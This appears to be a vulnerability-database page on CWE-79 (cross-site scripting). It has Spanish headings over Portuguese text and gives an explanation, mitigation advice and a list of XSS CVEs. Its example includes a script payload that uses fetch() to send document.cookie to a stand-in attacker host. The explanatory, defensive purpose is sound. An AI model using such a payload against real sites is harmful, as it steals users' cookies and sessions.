Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-23655HIGHWordPress Contact Form 7 – Paystack Add-on plugin <= 1.2.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-26868HIGHWordPress Fast Flow plugin <= 1.2.16 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24630HIGHWordPress Sikshya LMS Plugin <= 0.0.21 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-33984HIGHCross-Site Scripting (XSS) vulnerability in Janobe productsEPSS 0.3%CVE-2025-23593HIGHWordPress EmailPress plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23657HIGHWordPress WordPress-to-candidate for Salesforce CRM plugin <= 1.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-13850MEDIUMSimple add pages or posts <= 2.0.0 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-46786MEDIUMZoom Workplace Apps - Cross-site ScriptingEPSS 0.3%CVE-2025-23651HIGHWordPress Scroll Top plugin <= 1.3.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-2254HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.3%CVE-2025-0228MEDIUMcode-projects Local Storage Todo App index.html cross site scriptingEPSS 0.3%CVE-2025-23755HIGHWordPress PAFacile plugin <= 2.6.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-6432MEDIUMContent Blocks (Custom Post Widget) <= 3.3.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via content ParameterEPSS 0.3%CVE-2023-23019MEDIUMCross site scripting (XSS) vulnerability in file main.php in sourcecodester oretnom23 Blog Site 1.0 via the name and email parameters to funEPSS 0.3%CVE-2024-13018MEDIUMPHPGurukul Maid Hiring Management System profile.php cross site scriptingEPSS 0.3%CVE-2024-41843MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-6740MEDIUMContact Form 7 Database Addon <= 1.3.1 - Unauthenticated Stored Cross-Site Scripting via tmpD ParameterEPSS 0.3%CVE-2024-45459HIGHWordPress Product Slider for WooCommerce by PickPlugins plugin <= 1.13.50 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23750HIGHWordPress Custom Widget Creator plugin <= 1.0.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23431HIGHWordPress Envato Affiliater plugin <= 1.2.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%